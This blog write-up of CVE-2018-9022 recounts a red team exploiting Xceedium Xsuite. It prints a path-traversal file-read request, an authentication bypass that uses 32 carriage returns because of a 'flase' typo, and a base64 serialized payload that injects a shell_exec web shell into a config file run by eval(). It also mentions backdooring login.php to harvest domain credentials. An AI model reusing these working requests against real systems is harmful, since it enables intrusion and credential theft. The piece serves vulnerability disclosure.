Remote Code Execution — Gaining Domain Admin due to a typo

CVE-2018–9022

Firstly, apologies for the click-bait title, I did refrain from creating a custom website and logo so I believe this is a fair compromise. :)

A short time ago as part of a red team engagement I found and successfully exploited a remote code execution vulnerability that resulted in us quickly gaining high privilege access to the customers internal network. So far nothing sounds too out of the ordinary, however interestingly the root cause of this vulnerability was due to a two character typo. The advisory can be found here.

Note: I realise this blog post would be much better if I included some additional screenshots, however I did not want to risk accidentally revealing information about our client.

Enumeration

After performing some basic enumeration I found a subdomain belonging to the target organisation which proudly stated “Powered by Xceedium Xsuite”. After a bit of googling I stumbled across an exploit-db article containing several vulnerabilities in Xsuite, including unauthenticated command injection, reflected cross-site scripting, arbitrary file read, and a local privilege escalation vulnerability. Easy, right?

Arbitrary File Read

Unfortunately, due to the targets configuration the command injection vulnerability did not work, the privilege escalation requires prior access to the device, and where possible I wanted to avoid user interaction (so cross-site scripting is a no-no). This left us with the arbitrary file read:

/opm/read_sessionlog.php?logFile=....//....//....//etc/passwd

Naturally, the only ports that could be accessed over the internet were 80 & 443. Despite being able to read various hashes from the /etc/passwd file, they were useless to us:

sshtel:ssC/xRTT<REDACTED>:300:99:sshtel:/tmp:/usr/bin/telnet
sftpftp:$1$7vs1J<REDACTED>:108:108:/home/sftpftp

At this point I believed the best way forward was to find the hosts document_root, and to start downloading source code. I could then manually audit the code with the intention of finding additional vulnerabilities in Xceedium Xsuite. After reading numerous Apache configuration files the document_root was found:

/var/www/htdocs/uag/web/

So far we only know the location of two pages:

/var/www/htdocs/uag/web/opm/read_sessionlog.php
/var/www/htdocs/uag/web/login.php

The source code for both of these files was downloaded using the arbitrary file read and reviewed to find references to any other PHP or configuration files. These were also downloaded. Whilst this process could have been scripted, it was decided that since I would be auditing the code, I may as well manually retrieve the source code during the auditing process (This also has the added benefit of limiting requests to the target host).

After a day of manually downloading and auditing PHP I believed I had a good enough understanding of how the application works and had found a few bugs/interesting functions. In addition to the RCE outlined in this post, other vulnerabilities were found along the way such as an additional arbitrary file read and various SQL injection issues. As I could already read local files & no database appeared to be configured, these were useless. My only interest at this point was RCE.

The road to code execution
One of the interesting functions I had highlighted was linkDB() which reads the contents of /var/uag/config/failover.cfg line by line and passes it to the eval() function. This means that if we somehow find a method to write PHP code to failover.cfg, we may then be able to call the linkDB()function to execute remote code on the host. Interesting, but we currently have no control over failover.cfg or its contents.

/var/www/htdocs/uag/functions/DB.php
function linkDB($db, $dbtype='', $action = "die") {
global $dbchoices, $sync_on, $members, $shared_key;
if(!$dbchoices){
$dbchoices = array("mysql", "<REDACTED>", "<REDACTED>");
}
    //reads file into array & saves to $synccfg
$synccfg = file("/var/uag/config/failover.cfg");
    //iterates through contents of array
foreach ($synccfg as $line) {
$line = trim($line);
$keyval = explode("=", $line);
        //saves contents to $cmd variable
$cmd ="\$param_".$keyval[0]."=\"".$keyval[1]."\";";
        //evaluates the contents of the $cmd variable
eval($cmd);
}

}

After a while I located the functionality that populates /var/uag/config/failover.cfg (This code has been modified slightly to avoid including numerous lines of string parsing!).

/var/www/htdocs/uag/functions/activeActiveCmd.php
function putConfigs($post) {

$file = "/var/uag/config/failover.cfg";
$post = unserialize(base64_decode($post)); <-- ignore this ;)
    $err = saveconfig($file, $post);
}

To summarise: We now know the contents of failover.cfg are passed to eval(), which may lead to code execution. We know the putConfigs() function takes a parameter, passes it to base64_decode(), passes it to unserialize() (again, let’s just pretend you never saw this!) and then saves it to failover.cfg Now we need to see where the $post variable that is used in putConfigs() originates from and if we have any control over it.

/var/www/htdocs/uag/functions/activeActiveCmd.php
function activeActiveCmdExec($get) {

// process the requested command
switch ($get["cmdtype"]) {

case "CHECKLIST":
confirmCONF($get);
break;
case "PUTCONFS" :
putConfigs($get["post"]);
break;

}

So the $get parameter being passed to putConfigs() originates from a parameter being passed to the activeActiveCmdExec() function.

/var/www/htdocs/uag/functions/ajax_cmd.php
if ($_GET["cmd"] == "ACTACT") {
if (!isset($_GET['post'])) {
$matches = array();
preg_match('/.*\&post\=(.*)\&?$/', $_SERVER['REQUEST_URI'], $matches);
$_GET['post'] = $matches[1];
}
activeActiveCmdExec($_GET);
}

So activeActiveCmdExec() takes direct user input. This means we can directly control the input to activeActiveCmdExec(), which is then passed to putConfigs(), base64_decode(), unserialize(), and finally saved into /var/uag/config/failover.cfg. We can now create a serialized, base64 encoded request that will be saved into failover.cfg, afterwards we can then invokelinkDB() which will pass the file containing our malicious code to eval() and we have achieved code execution… Or so I thought.

As we will be overwriting a configuration file, one mistake and we may brick the device and have a rather unhappy customer on our hands. Even if we don’t brick the device, we may only get one chance at writing to the config file. Because of this I decided to err on the side of caution and took the relevant parts of code and test our exploit locally. After a few attempts I was getting the message “BAD SHARED KEY”. Unfortunately I had overlooked something at the beginning of the activeActiveCmdExec() function:

/var/www/htdocs/uag/functions/activeActiveCmd.php
function activeActiveCmdExec($get) {
// check provided shared key
$logres = checkSharedKey($get["shared_key"]);
if (!$logres) {
echo "BAD SHARED KEY";
exit(0);
}

}

The function checks a valid shared key is passed via the $get variable. Without a legitimate key we cannot reach the functionality necessary to write our code to the failover.cfg file, we cannot invokelinkDB() to evaluate our code, and we cannot execute code on the remote host…

At this point I believed it may be time to go back to the drawing board and find a new method to attack the host (unsanitised user input being passed to unserialize() perhaps?). Fortunately as I have the ability to read local files, the shared key may be hard coded in the source code or saved in a readable config file. We can then include the key in our request, and pass this check. So let’s check the checkSharedKey() function to see where this shared key is saved.

/var/www/htdocs/uag/functions/activeActiveCmd.php
function checkSharedKey($shared_key) {
if (strlen($shared_key) != 32) { //1
return false;
}
if (trim($shared_key) == "") { //2
return flase;
}
if ($f = file("/var/uag/config/failover.cfg")) {
foreach ($f as $row) { //3
$row = trim($row);
if ($row == "") {
continue;
}
$row_sp = preg_split("/=/", $row);
if ($row_sp[0] == "SHARED_KEY") {
if ($shared_key == $row_sp[1]) //4
return true;
}
}
} else {
return false;
}
}

This function does the following:
1) Check the key passed to it is 32 characters in length;
2) Check the key passed to it isn’t an empty string;
3) Read the failover.cfg file line by line;
4) Check the provided shared key matches the shared key in failover.cfg.

So we can use our arbitrary file read to extract the shared key from the /var/uag/config/failover.cfg file, append it to our request, write our serialised, base64’d PHP code to failover.cfg, invoke linkDB() to eval() our malicious code, and execute code on the remote host. After reading the contents of failover.cfg I was greeted with the following:

/var/uag/config/failover.cfg
CLUSTER_MEMBERS=
ACTIVE_IFACE=
SHARED_KEY=
STATUS=
MY_INDEX=
CLUSTER_STATUS=
CLUSTER_IP=
CLUSTER_NAT_IP=
CLUSTER_FQDN=

The file is empty.

We cannot steal the existing key to pass the authentication checks as there isn’t one configured. After again failing I turned my attention back to the checkSharedKey() functionality. The first thing the checkSharedKey() function does is check the provided key is 32 characters long. This means we cannot simply pass a blank key to pass the check. Once again it may be game over. However, after a while I noticed a subtle issue that I had previously overlooked. Did you see it?

/var/www/htdocs/uag/functions/activeActiveCmd.php
function checkSharedKey($shared_key) {
if (strlen($shared_key) != 32) {
return false;
}
if (trim($shared_key) == "") {
return flase;
}

}

Due to a typographic error, when a shared key is provided that is 32 characters in length, but empty after a call to trim(), the function will return “flase”. This will return the literal string “flase” instead of the Boolean value FALSE. Fortunately for us, the string “flase” has a Boolean value of TRUE, thus the key check will be successful and we can bypass the authorisation check.

Reviewing PHP’s trim() manual we find the following:

http://php.net/manual/en/function.trim.php

So in theory we can use 32 spaces, tabs, line feeds, carriage returns, null bytes, or vertical tabs to reach the necessary code paths required to execute code. All because somebody typed two characters the wrong way around in the word “false”!

To test our theory we can take the relevant parts of code, and write a small script that utilises the same logic as the Xsuite code.

<?php
//Take user input
$shared_key = $_GET['shared_key'];
//Echo user input
echo "Input: " . $shared_key . "\n";
//Echo the string length (Hopefully 32)
echo "shared_key Length: " . strlen($shared_key) . "\n";
//Pass the input to the checkSharedKey() function
$logres = checkSharedKey($shared_key);
//Echo out the raw returned value
Echo "Raw Returned Value: ";
var_dump($logres);
//Echo the Boolean value of returned value
Echo "Boolen returned Value: ";
var_dump((bool) $logres);
//Echo either “bad shared key” or “auth bypassed” accordingly
if(!$logres)
{
echo "BAD SHARED KEY\n";
exit(0);
} else {
echo "Auth Bypassed";
}
function checkSharedKey($shared_key) {
if (strlen($shared_key) != 32) {
return false;
}
    if (trim($shared_key) == "") {
return flase;
}
}
?>

I then tested a few inputs to see what happened:

As expected, passing a 32 character random string returns the Boolean value of FALSE and we do not bypass the checks. Now to try our theory of carriage returns/null bytes/etc:

As predicted, a string composed of 32 carriage returns, null bytes, etc will bypass the checkSharedKey() functionality. We can now bypass the authorisation checks to reach our desired code paths. As there are a lot of steps to this exploit and a significant number of things that may go wrong, it was decided that we should once again test the exploit locally with the relevant code.

Exploitation

After a while testing locally, the following exploitation steps had been refined:

  1. Poison failover.cfg with our malicious code using our $shared_key bypass:
ajax_cmd.php?cmd=ACTACT&cmdtype=PUTCONFS&shared_key=%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D&post=YTo2OntzOjExOiJyYWRpb19pZmFjZSI7czo1OiJpZmFjZSI7czoxNToiY2x1c3Rlcl9tZW1iZXJzIjthOjE6e2k6MDtzOjk6IjEyNy4wLjAuMSI7fXM6MTM6InR4X3NoYXJlZF9rZXkiO3M6MzI6IkFBQUFCQkJCQ0NDQ0RERFhYQUFBQkJCQkNDQ0NEREREIjtzOjY6InN0YXR1cyI7czozOiJPRkYiO3M6MTI6ImNsdXN0ZXJfZnFkbiI7czo1NToidGVzdC5kb21haW4iO2VjaG8gc2hlbGxfZXhlYyh1cmxkZWNvZGUoJF9QT1NUWydjJ10pKTsvLyI7czoxMDoiY2x1c3Rlcl9pcCI7czo5OiIxMjcuMC4wLjEiO30=

Decoding the contest of the post parameter gives the following serialized payload:

a:6:{s:11:"radio_iface";s:5:"iface";s:15:"cluster_members";a:1:{i:0;s:9:"127.0.0.1";}s:13:"tx_shared_key";s:32:"AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";s:6:"status";s:3:"OFF";s:12:"cluster_fqdn";s:55:"test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";}

which corresponds to a PHP object of the form:

$data = array();
$data['radio_iface'] = "iface";
$data['cluster_members'] = array("127.0.0.1");
$data['tx_shared_key'] = "AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";
$data['status'] = "OFF";
$data['cluster_fqdn'] = "test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";}

2. Verify the config file has been successfully poisoned by reading it back using the arbitrary file read vulnerability in read_sessionlog.php:

3. Invoke linkDB() to eval() the contents of failover.cfg and execute a command.

POST /ajax_cmd.php?cmd=get_applet_params&sess_id=1&host_id=1&task_id=1
c=whoami

Conclusion

Upon first discovering the Xceedium device, it appeared we had struck gold. A significantly outdated device with publicly available exploits resulting in RCE. Naturally this was not the case and successful compromise took significantly more time and effort than originally expected.

For those of you who are curious how the rest of the engagement went. Upon compromising the device we quickly discovered a method to gain root access to the device. Due to the nature of Xceedium Xsuite (Identity and Access Management), hundreds of users were authenticating to the device every day. With root access we simply backdoored login.php to steal hundreds of domain credentials. Fortunately for us some of the clear-text credentials we captured were domain/enterprise administrators. This allowed us complete access to various domains across the globe. Obviously the goal of red teaming isn’t to gain domain administrator, but it certainly helps. :)

As previously mentioned, I’m sorry that there aren’t more screenshots showing the actual attack, however I don’t want to risk outing the client. Additionally, at the time of discovery I had no intentions of releasing this bug publicly. Finally I wish I could say Xceedium (Now CA Technologies) were a treat to work with during the disclosure process however that would be a lie.